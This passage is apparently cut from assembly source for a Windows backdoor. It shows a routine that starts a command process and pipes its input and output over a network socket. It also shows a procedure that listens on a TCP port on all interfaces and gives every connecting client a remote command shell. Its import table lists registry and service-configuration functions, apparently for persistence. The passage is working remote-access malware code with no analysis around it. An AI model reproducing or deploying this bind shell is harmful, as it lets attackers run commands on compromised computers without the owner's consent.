    80.         invoke CreateProcessA,0,szCommandLine,0,0,TRUE,CREATE_NEW_CONSOLE,0,0,startupinfo,processinfo
    81.         invoke CloseHandle,[hoWrite]
    82.         invoke CloseHandle,[hiRead]
    83.  
    84.         mov     [bytes],1
    85.         invoke  ioctlsocket,[client],FIONBIO,addr bytes
    86.         invoke  lstrlenA,szBanner
    87.         invoke  send,[client],szBanner,eax,0
    88.  
    89. .while TRUE
    90.        invoke   Sleep,1
    91.        invoke   GetExitCodeProcess,[processinfo.hProcess],addr exitcode
    92.   .if [exitcode] <> STILL_ACTIVE
    93.     .break
    94.   .endif
    95.   invoke PeekNamedPipe,[hoRead],addr buffer,1024,addr bytes,addr available,0
    96.   .if [bytes] <> 0
    97.     .if [available] > 1024
    98.       .while [bytes] >= 1024
    99.         invoke Sleep,1
    100.         invoke ReadFile,[hoRead],addr buffer,1024,addr bytes, 0
    101.         .if [bytes] <> 0
    102.           invoke send,[client],addr buffer,[bytes],0
    103.         .endif
    104.       .endw  
    105.     .else
    106.       invoke ReadFile,[hoRead],addr buffer,1024,addr bytes,0
    107.       .if [bytes] <> 0
    108.         invoke send,[client],addr buffer,[bytes],0
    109.       .endif
    110.     .endif    
    111.   .endif  
    112. @@:
    113.   invoke recv,[client],addr buffer,1024,0
    114.   .if eax = SOCKET_ERROR | eax = 0
    115.     invoke WSAGetLastError
    116.     .if eax = WSAEWOULDBLOCK
    117.       .continue
    118.     .else
    119.       invoke TerminateProcess,[processinfo.hProcess],0
    120.       .break
    121.     .endif  
    122.   .else
    123.     mov ecx,eax
    124.     invoke WriteFile,[hiWrite],addr buffer,ecx,addr bytes, 0
    125.   .endif
    126. .endw
    127.  
    128.         invoke  CloseHandle,[hiWrite]
    129.         invoke  CloseHandle,[hoRead]
    130.         invoke  closesocket,[client]
    131.         ret
    132.  
    133. endp
    134.  
    135. proc Shell lpParam
    136.  
    137. locals
    138.         hsocket dd ?
    139.         iMode   dd ?
    140. endl
    141.  
    142.         invoke  WSAStartup,0202h,wsadata
    143.         invoke  socket,AF_INET,SOCK_STREAM, 0
    144.  
    145.         mov     [hsocket],eax
    146.         mov     [sock.sin_family],AF_INET
    147.         mov     [sock.sin_addr],0
    148.         mov     ax,[mysocket]
    149.         xchg    ah,al
    150.         mov     [sock.sin_port],ax
    151.  
    152.         invoke  bind,[hsocket],sock,sizeof.sockaddr_in
    153.         mov     [iMode],1
    154.         invoke  ioctlsocket,[hsocket],FIONBIO,addr iMode
    155.         invoke  listen,[hsocket],SOMAXCONN
    156.     @@:
    157.         invoke  accept,[hsocket],sock,0
    158.  
    159.         cmp eax,INVALID_SOCKET
    160.         je .ret
    161.  
    162.         mov     edx,eax
    163.         invoke  CreateThread,0,0,BindCmd,edx,0,0
    164.         invoke  CloseHandle,eax
    165.  
    166. .ret:   invoke  Sleep, 1000
    167.         jmp @B
    168.         ret
    169.  
    170. endp
    171.  
    172. section '.idata' import data readable
    173.  
    174.         library kernel,'KERNEL32.DLL',\
    175.             user,'USER32.DLL',\
    176.             advapi,'ADVAPI32.DLL',\
    177.             Ws2_32,'Ws2_32.dll'
    178.  
    179.         import advapi,\
    180.            RegOpenKeyExA,'RegOpenKeyExA',\
    181.            RegSetValueExA,'RegSetValueExA',\
    182.            RegCloseKey,'RegCloseKey',\
    183.            OpenSCManagerA,'OpenSCManagerA',\
    184.            OpenServiceA,'OpenServiceA',\
    185.            ChangeServiceConfigA,'ChangeServiceConfigA',\
    186.            CloseServiceHandle,'CloseServiceHandle'
    187.  
    188.         import kernel,\
    189.            ExitProcess,'ExitProcess',\
    190.            GetLastError,'GetLastError',\
    191.            lstrlenA,'lstrlenA',\
    192.            GetModuleFileNameA,'GetModuleFileNameA',\
    193.            lstrcatA,'lstrcatA',\
    194.            lstrcpyA,'lstrcpyA',\
    195.            CreateThread,'CreateThread',\
    196.            CloseHandle,'CloseHandle',\
    197.            Sleep,'Sleep',\
    198.            CreatePipe,'CreatePipe',\
    199.            GetStartupInfoA,'GetStartupInfoA',\
    200.            CreateProcessA,'CreateProcessA',\
    201.            GetExitCodeProcess,'GetExitCodeProcess',\
    202.            PeekNamedPipe,'PeekNamedPipe',\
    203.            ReadFile,'ReadFile',\
    204.            TerminateProcess,'TerminateProcess',\
    205.            WriteFile,'WriteFile'
    206.  
    207.         import user,\
    208.            MessageBoxA,'MessageBoxA',\
    209.            wsprintfA,'wsprintfA'
    210.  
    211.         import Ws2_32,\
    212.             WSAStartup,'WSAStartup',\
    213.             socket,'socket',\
    214.             WSACleanup,'WSACleanup',\
    215.             bind,'bind',\
    216.             listen,'listen',\
    217.             accept,'accept',\
    218.             ioctlsocket,'ioctlsocket',\
    219.             send,'send',\
    220.             recv,'recv',\
    221.             WSAGetLastError,'WSAGetLastError',\
    222.             closesocket,'closesocket'